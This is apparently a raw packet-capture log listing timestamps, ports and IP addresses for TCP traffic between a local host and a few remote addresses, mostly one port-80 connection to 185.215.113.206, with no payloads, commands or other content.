Dec 7, 2024 00:15:51.813574076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.813622952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.814335108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.814390898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.814619064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.814747095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.815381050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.815428019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.815510035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.815558910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.816334009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.816380024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.816437006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.816482067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.817292929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.817368031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.817415953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.817459106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.818296909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.818427086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.818459034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.818478107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.819299936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.819355011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.819423914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.819468975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.820307970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.820352077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.820382118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.820585966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.821286917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.821331978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.821403980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.821549892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.822264910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.822315931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.822377920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.822423935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.823267937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.823335886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.823381901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.823424101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.824268103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.824332952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.824378014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.824413061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.825329065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.825391054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.825422049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.825478077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.826318979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.826365948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.826391935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.826476097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.827250004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.827315092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.827366114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.827472925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.828255892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.828306913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.828468084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.828516006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.829278946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.829335928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.829509974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.829566002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.830302954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.830370903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.830600977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.830718040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.831276894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.831341028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.831392050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.831558943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.832277060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.832353115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.832391977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.832482100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.833261013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.833370924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.833432913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.833477020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.834227085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.834290981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.834362030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.834467888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.835222960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.835325956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.835375071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.835455894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.836230993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.836297035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.836396933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.836442947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.837193966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.837256908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.837366104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.837423086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.838186979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.838246107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.838305950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.838361979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.839196920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.839262009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.839293003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.839436054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.840289116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.840348005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.840377092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.840522051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.841176987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.841223001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.841288090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.841366053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.842175961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.842219114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.842287064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.842329025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.843182087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.843235970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.843265057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.843337059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.844150066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.844218969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.844489098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.844531059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.845179081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.845225096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.845280886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.845371962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.846213102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.846271038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.846323967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.846379042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.847121000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.847426891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.847480059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.848165035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.848232985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.848268032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.848306894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.849133968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.849175930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.849231958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.849268913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.850138903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.850243092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.850287914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.851149082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.851196051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.851246119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.851285934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.852114916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.852157116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.852287054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.852332115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.853077888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.853121996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.915642977 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.915666103 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.915738106 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.915746927 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.915802956 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.918935061 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.919018984 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.919025898 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.919070959 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.919132948 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.919152021 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.919161081 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.919195890 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.967995882 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.968023062 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.968072891 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.968079090 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.968137026 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.005229950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.005295038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.005361080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.005413055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.005717039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.005769968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.005886078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.005940914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.006321907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.006371021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.006903887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.006949902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.006994963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.007138968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.007867098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.007911921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.007977009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.008160114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.008857012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.008908033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.008975983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.009166956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.009869099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.009916067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.010004044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.010127068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.010915995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.011101961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.011105061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.011207104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.011852980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.011900902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.011961937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.012105942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.012887955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.012938976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.012949944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.013122082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.013864994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.013907909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.014067888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.014200926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.014827967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.014914036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.014945030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.015017986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.015831947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.015907049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.015933037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.015971899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.016849041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.016902924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.016969919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.017013073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.017831087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.017888069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.017920971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.017968893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.018810987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.018857956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.019006014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.019057035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.019807100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.019860029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.020102024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.020159960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.020795107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.020837069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.020895004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.020947933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.021841049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.021852970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.021888018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.022794962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.022847891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.022954941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.023003101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.023801088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.023844004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.023888111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.023929119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.024769068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.024816990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.024884939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.024930954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.025851011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.025913954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.025949955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.026019096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.026765108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.026825905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.026863098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.026937962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.027487993 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.027508974 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.027523041 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.027585983 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.027600050 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.027651072 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.027764082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.027813911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.027868032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.027913094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.028804064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.028876066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.029002905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.029057026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.029784918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.029886961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.029936075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.030754089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.030807972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.030843019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.030879974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.031776905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.031836987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.031883955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.032742977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.032823086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.032851934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.032900095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.033828974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.033896923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.033905029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.033953905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.034792900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.034846067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.034904003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.034954071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.035820961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.035867929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.035949945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.035986900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.036719084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.036782980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.036824942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.036909103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.037722111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.037767887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.037852049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.037897110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.038707972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.038754940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.038822889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.038867950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.039706945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.039753914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.039807081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.039846897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.040704012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.040764093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.040786028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.040882111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.041701078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.041769028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.041801929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.041850090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.042730093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.042812109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.042864084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.042907953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.043684006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.043731928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.043765068 CET	80	49823	185.215.113.206	192.168.2.6
